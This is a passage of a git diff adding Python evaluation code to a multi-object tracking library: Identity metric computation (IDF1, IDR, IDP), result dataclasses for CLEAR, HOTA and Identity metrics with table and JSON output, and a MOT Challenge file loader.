"IDTP": 0, + "IDFN": num_gt_dets, + "IDFP": 0, + } + if num_gt_dets == 0: + return { + "IDF1": 0.0, + "IDR": 0.0, + "IDP": 0.0, + "IDTP": 0, + "IDFN": 0, + "IDFP": num_tracker_dets, + } + + # Get unique IDs + all_gt_ids = np.concatenate(gt_ids) if gt_ids else np.array([]) + all_tracker_ids = np.concatenate(tracker_ids) if tracker_ids else np.array([]) + unique_gt_ids = np.unique(all_gt_ids) + unique_tracker_ids = np.unique(all_tracker_ids) + num_gt_ids = len(unique_gt_ids) + num_tracker_ids = len(unique_tracker_ids) + + # Create ID mappings for array indexing + gt_id_to_idx = {int(id_): idx for idx, id_ in enumerate(unique_gt_ids)} + tracker_id_to_idx = {int(id_): idx for idx, id_ in enumerate(unique_tracker_ids)} + + # Variables for global association (ref: identity.py:48-50) + potential_matches_count = np.zeros((num_gt_ids, num_tracker_ids)) + gt_id_count = np.zeros(num_gt_ids) + tracker_id_count = np.zeros(num_tracker_ids) + + # First pass: accumulate global track information (ref: identity.py:53-61) + for t, (gt_ids_t, tracker_ids_t) in enumerate(zip(gt_ids, tracker_ids)): + if len(gt_ids_t) == 0 or len(tracker_ids_t) == 0: + # Still count IDs even if no matches possible + if len(gt_ids_t) > 0: + gt_indices = np.array([gt_id_to_idx[int(id_)] for id_ in gt_ids_t]) + gt_id_count[gt_indices] += 1 + if len(tracker_ids_t) > 0: + tr_indices = np.array( + [tracker_id_to_idx[int(id_)] for id_ in tracker_ids_t] + ) + tracker_id_count[tr_indices] += 1 + continue + + gt_indices = np.array([gt_id_to_idx[int(id_)] for id_ in gt_ids_t]) + tr_indices = np.array([tracker_id_to_idx[int(id_)] for id_ in tracker_ids_t]) + + similarity = similarity_scores[t] + + # Count potential matches (similarity >= threshold) (ref: identity.py:55-57) + matches_mask = similarity >= threshold + match_idx_gt, match_idx_tracker = np.nonzero(matches_mask) + potential_matches_count[ + gt_indices[match_idx_gt], tr_indices[match_idx_tracker] + ] += 1 + + # Count detections per ID (ref: identity.py:60-61) + gt_id_count[gt_indices] += 1 + tracker_id_count[tr_indices] += 1 + + # Build cost matrix for Hungarian algorithm (ref: identity.py:64-77) + # Matrix is (num_gt_ids + num_tracker_ids) x (num_gt_ids + num_tracker_ids) + # to allow for unmatched IDs on both sides + matrix_size = num_gt_ids + num_tracker_ids + fp_mat = np.zeros((matrix_size, matrix_size)) + fn_mat = np.zeros((matrix_size, matrix_size)) + + # Set high cost for invalid assignments (ref: identity.py:68-69) + fp_mat[num_gt_ids:, :num_tracker_ids] = 1e10 + fn_mat[:num_gt_ids, num_tracker_ids:] = 1e10 + + # Fill in costs for GT IDs (ref: identity.py:70-72) + for gt_idx in range(num_gt_ids): + fn_mat[gt_idx, :num_tracker_ids] = gt_id_count[gt_idx] + fn_mat[gt_idx, num_tracker_ids + gt_idx] = gt_id_count[gt_idx] + + # Fill in costs for tracker IDs (ref: identity.py:73-75) + for tr_idx in range(num_tracker_ids): + fp_mat[:num_gt_ids, tr_idx] = tracker_id_count[tr_idx] + fp_mat[tr_idx + num_gt_ids, tr_idx] = tracker_id_count[tr_idx] + + # Subtract potential matches (ref: identity.py:76-77) + fn_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count + fp_mat[:num_gt_ids, :num_tracker_ids] -= potential_matches_count + + # Hungarian algorithm for optimal assignment (ref: identity.py:80) + match_rows, match_cols = linear_sum_assignment(fn_mat + fp_mat) + + # Compute IDTP, IDFN, IDFP (ref: identity.py:83-85) + idfn = int(fn_mat[match_rows, match_cols].sum()) + idfp = int(fp_mat[match_rows, match_cols].sum()) + idtp = int(gt_id_count.sum()) - idfn + + # Compute final scores (ref: identity.py:132-134) + idr = idtp / max(1.0, idtp + idfn) + idp = idtp / max(1.0, idtp + idfp) + idf1 = idtp / max(1.0, idtp + 0.5 * idfp + 0.5 * idfn) + + return { + "IDF1": float(idf1), + "IDR": float(idr), + "IDP": float(idp), + "IDTP": idtp, + "IDFN": idfn, + "IDFP": idfp, + } + + +def aggregate_identity_metrics( + sequence_metrics: list[dict[str, Any]], +) -> dict[str, Any]: + """Aggregate Identity metrics across multiple sequences. + + Sums IDTP, IDFN, IDFP across sequences, then recomputes IDF1, IDR, IDP + from the totals. + + Args: + sequence_metrics: List of per-sequence Identity metric dictionaries. + + Returns: + Aggregated Identity metrics dictionary. + """ + if not sequence_metrics: + return { + "IDF1": 0.0, + "IDR": 0.0, + "IDP": 0.0, + "IDTP": 0, + "IDFN": 0, + "IDFP": 0, + } + + # Sum integer fields (ref: identity.py:122-123) + idtp = sum(m["IDTP"] for m in sequence_metrics) + idfn = sum(m["IDFN"] for m in sequence_metrics) + idfp = sum(m["IDFP"] for m in sequence_metrics) + + # Recompute final scores (ref: identity.py:124, 132-134) + idr = idtp / max(1.0, idtp + idfn) + idp = idtp / max(1.0, idtp + idfp) + idf1 = idtp / max(1.0, idtp + 0.5 * idfp + 0.5 * idfn) + + return { + "IDF1": float(idf1), + "IDR": float(idr), + "IDP": float(idp), + "IDTP": idtp, + "IDFN": idfn, + "IDFP": idfp, + } diff --git a/trackers/eval/results.py b/trackers/eval/results.py new file mode 100644 index 0000000..e27d782 --- /dev/null +++ b/trackers/eval/results.py @@ -0,0 +1,715 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""Result classes for tracking evaluation metrics. + +This module provides dataclasses for storing and manipulating evaluation results +with methods for serialization, display, and persistence. +""" + +from __future__ import annotations + +import dataclasses +import json +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any + +import numpy as np + +# TrackEval summary field order for CLEAR metrics +CLEAR_FLOAT_FIELDS = [ + "MOTA", + "MOTP", + "MODA", + "CLR_Re", + "CLR_Pr", + "MTR", + "PTR", + "MLR", + "sMOTA", +] +CLEAR_INT_FIELDS = [ + "CLR_TP", + "CLR_FN", + "CLR_FP", + "IDSW", + "MT", + "PT", + "ML", + "Frag", +] +CLEAR_SUMMARY_FIELDS = CLEAR_FLOAT_FIELDS + CLEAR_INT_FIELDS + +# TrackEval summary field order for HOTA metrics +HOTA_FLOAT_FIELDS = [ + "HOTA", + "DetA", + "AssA", + "DetRe", + "DetPr", + "AssRe", + "AssPr", + "LocA", + "OWTA", +] +HOTA_INT_FIELDS = [ + "HOTA_TP", + "HOTA_FN", + "HOTA_FP", +] +HOTA_SUMMARY_FIELDS = HOTA_FLOAT_FIELDS + HOTA_INT_FIELDS + +# TrackEval summary field order for Identity metrics +IDENTITY_FLOAT_FIELDS = [ + "IDF1", + "IDR", + "IDP", +] +IDENTITY_INT_FIELDS = [ + "IDTP", + "IDFN", + "IDFP", +] +IDENTITY_SUMMARY_FIELDS = IDENTITY_FLOAT_FIELDS + IDENTITY_INT_FIELDS + +# All float fields for formatting +ALL_FLOAT_FIELDS = CLEAR_FLOAT_FIELDS + HOTA_FLOAT_FIELDS + IDENTITY_FLOAT_FIELDS + + +@dataclass +class CLEARMetrics: + """CLEAR metrics with TrackEval-compatible field names. Float metrics are stored + as fractions (0-1 range), not percentages. The values follow the original CLEAR + MOT definitions. + + Attributes: + MOTA: Multiple Object Tracking Accuracy. Penalizes false negatives, + false positives, and ID switches: `(TP - FP - IDSW) / (TP + FN)`. + Can be negative when errors exceed matches. + MOTP: Multiple Object Tracking Precision. Mean IoU of matched pairs. + Measures localization quality only. + MODA: Multiple Object Detection Accuracy. Like MOTA but ignores ID + switches: `(TP - FP) / (TP + FN)`. + CLR_Re: CLEAR recall. Fraction of GT detections matched: + `TP / (TP + FN)`. + CLR_Pr: CLEAR precision. Fraction of tracker detections correct: + `TP / (TP + FP)`. + MTR: Mostly tracked ratio. Fraction of GT tracks tracked for >80% of + their lifespan. + PTR: Partially tracked ratio. Fraction of GT tracks tracked for 20-80%. + MLR: Mostly lost ratio. Fraction of GT tracks tracked for <20%. + sMOTA: Summed MOTA. Replaces TP count with IoU sum: + `(MOTP_sum - FP - IDSW) / (TP + FN)`. + CLR_TP: True positives. Number of correct matches. + CLR_FN: False negatives. Number of missed GT detections. + CLR_FP: False positives. Number of spurious tracker detections. + IDSW: ID switches. Times a GT track changes its matched tracker ID. + MT: Mostly tracked count. Number of GT tracks tracked >80%. + PT: Partially tracked count. Number of GT tracks tracked 20-80%. + ML: Mostly lost count. Number of GT tracks tracked <20%. + Frag: Fragmentations. Times a tracked GT becomes untracked then tracked + again. + MOTP_sum: Raw IoU sum for aggregation across sequences. + CLR_Frames: Number of frames evaluated. + """ + + MOTA: float + MOTP: float + MODA: float + CLR_Re: float + CLR_Pr: float + MTR: float + PTR: float + MLR: float + sMOTA: float + CLR_TP: int + CLR_FN: int + CLR_FP: int + IDSW: int + MT: int + PT: int + ML: int + Frag: int + MOTP_sum: float = 0.0 + CLR_Frames: int = 0 + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> CLEARMetrics: + """Create `CLEARMetrics` from a dictionary. + + Args: + data: Dictionary with metric values. + + Returns: + `CLEARMetrics` instance. + """ + return cls( + MOTA=float(data["MOTA"]), + MOTP=float(data["MOTP"]), + MODA=float(data["MODA"]), + CLR_Re=float(data["CLR_Re"]), + CLR_Pr=float(data["CLR_Pr"]), + MTR=float(data["MTR"]), + PTR=float(data["PTR"]), + MLR=float(data["MLR"]), + sMOTA=float(data["sMOTA"]), + CLR_TP=int(data["CLR_TP"]), + CLR_FN=int(data["CLR_FN"]), + CLR_FP=int(data["CLR_FP"]), + IDSW=int(data["IDSW"]), + MT=int(data["MT"]), + PT=int(data["PT"]), + ML=int(data["ML"]), + Frag=int(data["Frag"]), + MOTP_sum=float(data.get("MOTP_sum", 0.0)), + CLR_Frames=int(data.get("CLR_Frames", 0)), + ) + + def to_dict(self) -> dict[str, Any]: + """Convert to dictionary representation. + + Returns: + Dictionary with all metric values. + """ + return dataclasses.asdict(self) + + +@dataclass +class HOTAMetrics: + """HOTA metrics with TrackEval-compatible field names. HOTA evaluates both + detection quality and association quality. Float metrics are stored as fractions + (0-1 range). + + Attributes: + HOTA: Higher Order Tracking Accuracy. Geometric mean of DetA and + AssA, averaged over 19 IoU thresholds (0.05 to 0.95). + DetA: Detection accuracy: `TP / (TP + FN + FP)`. + AssA: Association accuracy for matched detections over time. + DetRe: Detection recall: `TP / (TP + FN)`. + DetPr: Detection precision: `TP / (TP + FP)`. + AssRe: Association recall. For each GT ID, measures how consistently + it maps to a single tracker ID across time. + AssPr: Association precision. For each tracker ID, measures how + consistently it maps to a single GT ID across time. + LocA: Localization accuracy. Mean IoU for matched pairs. + OWTA: Open World Tracking Accuracy. `sqrt(DetRe * AssA)`, useful when + precision is less meaningful. + HOTA_TP: True positive count summed over all 19 thresholds. + HOTA_FN: False negative count summed over all 19 thresholds. + HOTA_FP: False positive count summed over all 19 thresholds. + """ + + HOTA: float + DetA: float + AssA: float + DetRe: float + DetPr: float + AssRe: float + AssPr: float + LocA: float + OWTA: float + HOTA_TP: int + HOTA_FN: int + HOTA_FP: int + # Per-alpha arrays for aggregation (not serialized to JSON by default) + _arrays: dict[str, Any] = field(default_factory=dict, repr=False) + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> HOTAMetrics: + """Create `HOTAMetrics` from a dictionary. + + Args: + data: Dictionary with metric values. + + Returns: + `HOTAMetrics` instance. + """ + # Extract arrays if present (for aggregation) + arrays = {} + for key in [ + "HOTA_TP_array", + "HOTA_FN_array", + "HOTA_FP_array", + "AssA_array", + "AssRe_array", + "AssPr_array", + "LocA_array", + ]: + if key in data: + arrays[key] = np.array(data[key]) + + return cls( + HOTA=float(data["HOTA"]), + DetA=float(data["DetA"]), + AssA=float(data["AssA"]), + DetRe=float(data["DetRe"]), + DetPr=float(data["DetPr"]), + AssRe=float(data["AssRe"]), + AssPr=float(data["AssPr"]), + LocA=float(data["LocA"]), + OWTA=float(data["OWTA"]), + HOTA_TP=int(data["HOTA_TP"]), + HOTA_FN=int(data["HOTA_FN"]), + HOTA_FP=int(data["HOTA_FP"]), + _arrays=arrays, + ) + + def to_dict( + self, include_arrays: bool = False, arrays_as_list: bool = True + ) -> dict[str, Any]: + """Convert to dictionary representation. + + Args: + include_arrays: Whether to include per-alpha arrays. Defaults to `False`. + arrays_as_list: Whether to convert arrays to lists for JSON serialization. + Defaults to `True`. Set to `False` to keep numpy arrays. + + Returns: + Dictionary with all metric values. + """ + result = { + "HOTA": self.HOTA, + "DetA": self.DetA, + "AssA": self.AssA, + "DetRe": self.DetRe, + "DetPr": self.DetPr, + "AssRe": self.AssRe, + "AssPr": self.AssPr, + "LocA": self.LocA, + "OWTA": self.OWTA, + "HOTA_TP": self.HOTA_TP, + "HOTA_FN": self.HOTA_FN, + "HOTA_FP": self.HOTA_FP, + } + if include_arrays and self._arrays: + for key, arr in self._arrays.items(): + if arrays_as_list: + result[key] = arr.tolist() if isinstance(arr, np.ndarray) else arr + else: + result[key] = arr + return result + + +@dataclass +class IdentityMetrics: + """Identity metrics with TrackEval-compatible field names. Identity metrics + measure global ID consistency using an optimal one-to-one assignment between GT + and tracker IDs across the full sequence. + + Attributes: + IDF1: ID F1 score. Harmonic mean of IDR and IDP, the primary + identity metric. + IDR: ID recall. `IDTP / (IDTP + IDFN)`, fraction of GT detections + with correct global ID assignment. + IDP: ID precision. `IDTP / (IDTP + IDFP)`, fraction of tracker + detections with correct global ID assignment. + IDTP: ID true positives. Detections matched with globally consistent + IDs. + IDFN: ID false negatives. GT detections not matched or matched to the + wrong global ID. + IDFP: ID false positives. Tracker detections not matched or matched + to the wrong global ID. + """ + + IDF1: float + IDR: float + IDP: float + IDTP: int + IDFN: int + IDFP: int + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> IdentityMetrics: + """Create `IdentityMetrics` from a dictionary. + + Args: + data: Dictionary with metric values. + + Returns: + `IdentityMetrics` instance. + """ + return cls( + IDF1=float(data["IDF1"]), + IDR=float(data["IDR"]), + IDP=float(data["IDP"]), + IDTP=int(data["IDTP"]), + IDFN=int(data["IDFN"]), + IDFP=int(data["IDFP"]), + ) + + def to_dict(self) -> dict[str, Any]: + """Convert to dictionary representation. + + Returns: + Dictionary with all metric values. + """ + return dataclasses.asdict(self) + + +@dataclass +class SequenceResult: + """Result for a single sequence evaluation. + + Attributes: + sequence: Name of the sequence. + CLEAR: CLEAR metrics for this sequence, or `None` if not requested. + HOTA: HOTA metrics for this sequence, or `None` if not requested. + Identity: Identity metrics for this sequence, or `None` if not + requested. + """ + + sequence: str + CLEAR: CLEARMetrics | None = None + HOTA: HOTAMetrics | None = None + Identity: IdentityMetrics | None = None + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> SequenceResult: + """Create `SequenceResult` from a dictionary. + + Args: + data: Dictionary with sequence name and metrics. + + Returns: + `SequenceResult` instance. + """ + clear = None + if "CLEAR" in data and data["CLEAR"] is not None: + clear = CLEARMetrics.from_dict(data["CLEAR"]) + + hota = None + if "HOTA" in data and data["HOTA"] is not None: + hota = HOTAMetrics.from_dict(data["HOTA"]) + + identity = None + if "Identity" in data and data["Identity"] is not None: + identity = IdentityMetrics.from_dict(data["Identity"]) + + return cls( + sequence=data["sequence"], + CLEAR=clear, + HOTA=hota, + Identity=identity, + ) + + def to_dict(self) -> dict[str, Any]: + """Convert to dictionary representation. + + Returns: + Dictionary with all metric values. + """ + result: dict[str, Any] = { + "sequence": self.sequence, + } + if self.CLEAR is not None: + result["CLEAR"] = self.CLEAR.to_dict() + if self.HOTA is not None: + result["HOTA"] = self.HOTA.to_dict() + if self.Identity is not None: + result["Identity"] = self.Identity.to_dict() + return result + + def json(self, indent: int = 2) -> str: + """Serialize to JSON string. + + Args: + indent: Indentation level for formatting. Defaults to `2`. + + Returns: + JSON string representation. + """ + return json.dumps(self.to_dict(), indent=indent) + + def table(self, columns: list[str] | None = None) -> str: + """Format as a table string. + + Args: + columns: Metric columns to include. If `None`, includes all available + metrics. + + Returns: + Formatted table string. + """ + if columns is None: + columns = _get_available_columns( + has_clear=self.CLEAR is not None, + has_hota=self.HOTA is not None, + has_identity=self.Identity is not None, + ) + + return _format_sequence_table(self, columns) + + +@dataclass +class BenchmarkResult: + """Result for multi-sequence evaluation. + + Attributes: + sequences: Dictionary mapping sequence names to their results. + aggregate: Combined metrics across all sequences. + """ + + sequences: dict[str, SequenceResult] + aggregate: SequenceResult + + @classmethod + def from_dict(cls, data: dict[str, Any]) -> BenchmarkResult: + """Create `BenchmarkResult` from a dictionary. + + Args: + data: Dictionary with sequences and aggregate results. + + Returns: + `BenchmarkResult` instance. + """ + sequences = { + name: SequenceResult.from_dict(seq_data) + for name, seq_data in data["sequences"].items() + } + aggregate = SequenceResult.from_dict(data["aggregate"]) + return cls(sequences=sequences, aggregate=aggregate) + + def to_dict(self) -> dict[str, Any]: + """Convert to dictionary representation. + + Returns: + Dictionary with all metric values. + """ + return { + "sequences": {name: seq.to_dict() for name, seq in self.sequences.items()}, + "aggregate": self.aggregate.to_dict(), + } + + def json(self, indent: int = 2) -> str: + """Serialize to JSON string. + + Args: + indent: Indentation level for formatting. Defaults to `2`. + + Returns: + JSON string representation. + """ + return json.dumps(self.to_dict(), indent=indent) + + def table(self, columns: list[str] | None = None) -> str: + """Format as a table string. + + Args: + columns: Metric columns to include. If `None`, includes all available + metrics. + + Returns: + Formatted table string. + """ + if columns is None: + columns = _get_available_columns( + has_clear=self.aggregate.CLEAR is not None, + has_hota=self.aggregate.HOTA is not None, + has_identity=self.aggregate.Identity is not None, + ) + + return _format_benchmark_table(self.sequences, self.aggregate, columns) + + def save(self, path: str | Path) -> None: + """Save to a JSON file. + + Args: + path: Destination file path. + """ + path = Path(path) + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(self.json()) + + @classmethod + def load(cls, path: str | Path) -> BenchmarkResult: + """Load from a JSON file. + + Args: + path: Source file path. + + Returns: + `BenchmarkResult` instance. + + Raises: + FileNotFoundError: If the file does not exist. + """ + path = Path(path) + if not path.exists(): + raise FileNotFoundError(f"Results file not found: {path}") + data = json.loads(path.read_text()) + return cls.from_dict(data) + + +def _get_available_columns( + has_clear: bool = False, has_hota: bool = False, has_identity: bool = False +) -> list[str]: + """Get column names for the metrics that were computed. + + Returns all summary fields for each metric type that is available. + + Args: + has_clear: Whether CLEAR metrics are available. + has_hota: Whether HOTA metrics are available. + has_identity: Whether Identity metrics are available. + + Returns: + List of column names for available metrics. + """ + columns: list[str] = [] + if has_clear: + columns.extend(CLEAR_SUMMARY_FIELDS) + if has_hota: + columns.extend(HOTA_SUMMARY_FIELDS) + if has_identity: + columns.extend(IDENTITY_SUMMARY_FIELDS) + return columns + + +def _get_metrics_dict(result: SequenceResult, col: str) -> float | int: + """Get metric value from a SequenceResult. + + Args: + result: The sequence result. + col: Column name. + + Returns: + The metric value. + """ + # Check CLEAR metrics + if result.CLEAR is not None: + clear_dict = result.CLEAR.to_dict() + if col in clear_dict: + return clear_dict[col] + + # Check HOTA metrics + if result.HOTA is not None: + hota_dict = result.HOTA.to_dict() + if col in hota_dict: + return hota_dict[col] + + # Check Identity metrics + if result.Identity is not None: + identity_dict = result.Identity.to_dict() + if col in identity_dict: + return identity_dict[col] + + return 0 + + +def _format_value(value: float | int, is_float: bool) -> str: + """Format a metric value for display. + + Float metrics are displayed as percentages with 3 decimal places + (e.g., 99.353 for MOTA=0.99353), matching TrackEval output. + Integer metrics are displayed as-is. + + Args: + value: The metric value. + is_float: Whether this is a float metric. + + Returns: + Formatted string. + """ + if is_float: + # Display as percentage with 3 decimal places (TrackEval format) + return f"{value * 100:.3f}" + return str(value) + + +def _format_sequence_table(result: SequenceResult, columns: list[str]) -> str: + """Format single sequence metrics as a table. + + Args: + result: Sequence result. + columns: Columns to include. + + Returns: + Formatted table string. + """ + # Determine column widths + col_widths = {} + for col in columns: + value = _get_metrics_dict(result, col) + is_float = col in ALL_FLOAT_FIELDS + formatted = _format_value(value, is_float) + col_widths[col] = max(len(col), len(formatted)) + + # Build header + header = "Sequence".ljust(30) + " ".join( + col.rjust(col_widths[col]) for col in columns + ) + separator = "-" * len(header) + + # Build row + row_values = [] + for col in columns: + value = _get_metrics_dict(result, col) + is_float = col in ALL_FLOAT_FIELDS + formatted = _format_value(value, is_float) + row_values.append(formatted.rjust(col_widths[col])) + row = result.sequence.ljust(30) + " ".join(row_values) + + return f"{header}\n{separator}\n{row}" + + +def _format_benchmark_table( + sequences: dict[str, SequenceResult], + aggregate: SequenceResult, + columns: list[str], +) -> str: + """Format benchmark metrics as a table. + + Args: + sequences: Dictionary of sequence results. + aggregate: Aggregate result. + columns: Columns to include. + + Returns: + Formatted table string. + """ + # Collect all results for column width calculation + all_results = [*list(sequences.values()), aggregate] + + col_widths = {} + for col in columns: + max_width = len(col) + for result in all_results: + value = _get_metrics_dict(result, col) + is_float = col in ALL_FLOAT_FIELDS + formatted = _format_value(value, is_float) + max_width = max(max_width, len(formatted)) + col_widths[col] = max_width + + # Build header + header = "Sequence".ljust(30) + " ".join( + col.rjust(col_widths[col]) for col in columns + ) + separator = "-" * len(header) + + # Build rows + lines = [header, separator] + for seq_name in sorted(sequences.keys()): + seq_result = sequences[seq_name] + row_values = [] + for col in columns: + value = _get_metrics_dict(seq_result, col) + is_float = col in ALL_FLOAT_FIELDS + formatted = _format_value(value, is_float) + row_values.append(formatted.rjust(col_widths[col])) + lines.append(seq_name.ljust(30) + " ".join(row_values)) + + # Add aggregate row + lines.append(separator) + agg_values = [] + for col in columns: + value = _get_metrics_dict(aggregate, col) + is_float = col in ALL_FLOAT_FIELDS + formatted = _format_value(value, is_float) + agg_values.append(formatted.rjust(col_widths[col])) + lines.append("COMBINED".ljust(30) + " ".join(agg_values)) + + return "\n".join(lines) diff --git a/trackers/io/__init__.py b/trackers/io/__init__.py new file mode 100644 index 0000000..57226e8 --- /dev/null +++ b/trackers/io/__init__.py @@ -0,0 +1,5 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ diff --git a/trackers/io/mot.py b/trackers/io/mot.py new file mode 100644 index 0000000..be7ed18 --- /dev/null +++ b/trackers/io/mot.py @@ -0,0 +1,344 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +"""MOT Challenge format I/O utilities.""" + +from __future__ import annotations + +import csv +from dataclasses import dataclass +from pathlib import Path + +import numpy as np +import supervision as sv + +from trackers.eval.box import box_iou + + +@dataclass +class _MOTFrameData: + """Detection data for a single frame from a MOT format file. + + Attributes: + ids: Track IDs for each detection. Shape `(N,)` where N is number + of detections in this frame. + boxes: Bounding boxes in xywh format (x, y, width, height). + Shape `(N, 4)`. + confidences: Detection confidence scores. Shape `(N,)`. For GT files, + this indicates whether the detection should be considered (0=ignore). + classes: Class IDs for each detection. Shape `(N,)`. In MOT Challenge, + 1=pedestrian, 2-13=other classes (distractors, vehicles, etc.). + """ + + ids: np.ndarray + boxes: np.ndarray + confidences: np.ndarray + classes: np.ndarray + + +def _mot_frame_to_detections(frame_data: _MOTFrameData) -> sv.Detections: + return sv.Detections( + xyxy=sv.xywh_to_xyxy(frame_data.boxes), + confidence=frame_data.confidences, + class_id=frame_data.classes.astype(int), + ) + + +@dataclass +class _MOTSequenceData: + """Prepared sequence data ready for metric evaluation. + + This dataclass contains all data needed by CLEAR, HOTA, and Identity + metrics. IDs are remapped to 0-indexed contiguous values because metrics + use IDs as array indices for efficient accumulation. + + Attributes: + gt_ids: Ground truth track IDs per frame, 0-indexed. Each element is + an array of shape `(num_gt_in_frame,)`. Used by all metrics to + track which GT objects are present. + tracker_ids: Tracker track IDs per frame, 0-indexed. Each element is + an array of shape `(num_tracker_in_frame,)`. Used by all metrics + to track which predictions are present. + similarity_scores: IoU similarity matrices per frame. Each element is + shape `(num_gt_in_frame, num_tracker_in_frame)`. Used for matching + GT to predictions and computing MOTP/LocA. + num_frames: Total number of frames in the sequence. Used by Count + metrics and for validation. + num_gt_ids: Count of unique GT track IDs. Used to allocate accumulator + arrays in HOTA/Identity metrics. + num_tracker_ids: Count of unique tracker track IDs. Used to allocate + accumulator arrays in HOTA/Identity metrics. + num_gt_dets: Total GT detections across all frames. Used for MOTA + denominator and early-exit conditions. + num_tracker_dets: Total tracker detections across all frames. Used + for FP counting and early-exit conditions. + gt_id_mapping: Mapping from original GT IDs to 0-indexed values. + Useful for debugging and tracing results back to source files. + tracker_id_mapping: Mapping from original tracker IDs to 0-indexed + values. Useful for debugging and tracing results back to source. + """ + + gt_ids: list[np.ndarray] + tracker_ids: list[np.ndarray] + similarity_scores: list[np.ndarray] + num_frames: int + num_gt_ids: int + num_tracker_ids: int + num_gt_dets: int + num_tracker_dets: int + gt_id_mapping: dict[int, int] + tracker_id_mapping: dict[int, int] + + +def _load_mot_file(path: str | Path) -> dict[int, _MOTFrameData]: + """Load a MOT Challenge format file. + + Parse a text file in the standard MOT format where each line represents + one detection with comma-separated values: + `, , , , , , , ...` + + Args: + path: Path to the MOT format text file. + + Returns: + Dictionary mapping frame numbers (1-based, as in the file) to + `_MOTFrameData` containing all detections for that frame. + + Raises: + FileNotFoundError: If the file does not exist. + ValueError: If the file is empty or has invalid format. + + Examples: + >>> from trackers import load_mot_file # doctest: +SKIP + >>> + >>> gt_data = load_mot_file("data/gt/MOT17-02/gt/gt.txt") # doctest: +SKIP + >>> + >>> len(gt_data) # doctest: +SKIP + 600 + >>> + >>> len(gt_data[1].ids) # doctest: +SKIP + 12 + """ + path = Path(path) + if not path.exists(): + raise FileNotFoundError(f"MOT file not found: {path}") + + frame_data: dict[int, list[list[str]]] = {} + + with open(path) as f: + # Check if file is empty + f.seek(0, 2) + if f.tell() == 0: + raise ValueError(f"MOT file is empty: {path}") + f.seek(0) + + # Auto-detect CSV dialect + sample = f.readline() + f.seek(0) + + try: + dialect = csv.Sniffer().sniff(sample, delimiters=",; \t") + dialect.skipinitialspace = True + except csv.Error: + dialect = csv.excel + dialect.skipinitialspace = True + + reader = csv.reader(f, dialect) + for row in reader: + if not row or (len(row) == 1 and row[0].strip() == ""): + continue + + while row and row[-1] == "": + row = row[:-1] + + if len(row) < 6: + raise ValueError( + f"Invalid MOT format in {path}: expected at least 6 columns, " + f"got {len(row)} in row: {row}" + ) + + try: + frame = int(float(row[0])) + except ValueError as e: + raise ValueError(f"Invalid frame number in {path}: {row[0]}") from e + + if frame not in frame_data: + frame_data[frame] = [] + frame_data[frame].append(row) + + if not frame_data: + raise ValueError(f"No valid data found in MOT file: {path}") + + result: dict[int, _MOTFrameData] = {} + for frame, rows in frame_data.items(): + try: + data = np.array(rows, dtype=np.float64) + except ValueError as e: + raise ValueError( + f"Cannot convert data to float in {path}, frame {frame}" + ) from e + + ids = data[:, 1].astype(np.intp) + boxes = data[:, 2:6] + confidences = data[:, 6] if data.shape[1] > 6 else np.ones(len(data)) + classes = ( + data[:, 7].astype(np.intp) + if data.shape[1] > 7 + else np.ones(len(data), dtype=np.intp) + ) + + result[frame] = _MOTFrameData( + ids=ids, + boxes=boxes, + confidences=confidences, + classes=classes, + ) + + return result + + +def _prepare_mot_sequence( + gt_data: dict[int, _MOTFrameData], + tracker_data: dict[int, _MOTFrameData], + num_frames: int | None = None, +) -> _MOTSequenceData: + """Prepare GT and tracker data for metric evaluation. + + Compute IoU similarity matrices between GT and tracker detections for each + frame, and remap track IDs to 0-indexed contiguous values as required by + CLEAR, HOTA, and Identity metrics. + + Args: + gt_data: Ground truth data from `load_mot_file`. + tracker_data: Tracker predictions from `load_mot_file`. + num_frames: Total number of frames in the sequence. If `None`, + auto-detected from the maximum frame number in the data. + + Returns: + `_MOTSequenceData` containing prepared data ready for metric evaluation. + """ + gt_frames = set(gt_data.keys()) if gt_data else set() + tracker_frames = set(tracker_data.keys()) if tracker_data else set() + all_frames = gt_frames | tracker_frames + + if num_frames is None: + num_frames = max(all_frames) if all_frames else 0 + + all_gt_ids: set[int] = set() + all_tracker_ids: set[int] = set() + + for frame in range(1, num_frames + 1): + if frame in gt_data: + all_gt_ids.update(gt_data[frame].ids.tolist()) + if frame in tracker_data: + all_tracker_ids.update(tracker_data[frame].ids.tolist()) + + # Build ID mappings (original -> 0-indexed) + sorted_gt_ids = sorted(all_gt_ids) + sorted_tracker_ids = sorted(all_tracker_ids) + gt_id_mapping = {orig_id: idx for idx, orig_id in enumerate(sorted_gt_ids)} + tracker_id_mapping = { + orig_id: idx for idx, orig_id in enumerate(sorted_tracker_ids) + } + + gt_ids_list: list[np.ndarray] = [] + tracker_ids_list: list[np.ndarray] = [] + similarity_scores_list: list[np.ndarray] = [] + num_gt_dets = 0 + num_tracker_dets = 0 + + for frame in range(1, num_frames + 1): + # Get GT data for this frame + if frame in gt_data: + gt_frame = gt_data[frame] + gt_boxes = gt_frame.boxes + gt_ids_orig = gt_frame.ids + # Remap IDs to 0-indexed + gt_ids_remapped = np.array( + [gt_id_mapping[int(gid)] for gid in gt_ids_orig], dtype=np.intp + ) + num_gt_dets += len(gt_ids_remapped) + else: + gt_boxes = np.empty((0, 4), dtype=np.float64) + gt_ids_remapped = np.array([], dtype=np.intp) + + # Get tracker data for this frame + if frame in tracker_data: + tracker_frame = tracker_data[frame] + tracker_boxes = tracker_frame.boxes + tracker_ids_orig = tracker_frame.ids + # Remap IDs to 0-indexed + tracker_ids_remapped = np.array( + [tracker_id_mapping[int(tid)] for tid in tracker_ids_orig], + dtype=np.intp, + ) + num_tracker_dets += len(tracker_ids_remapped) + else: + tracker_boxes = np.empty((0, 4), 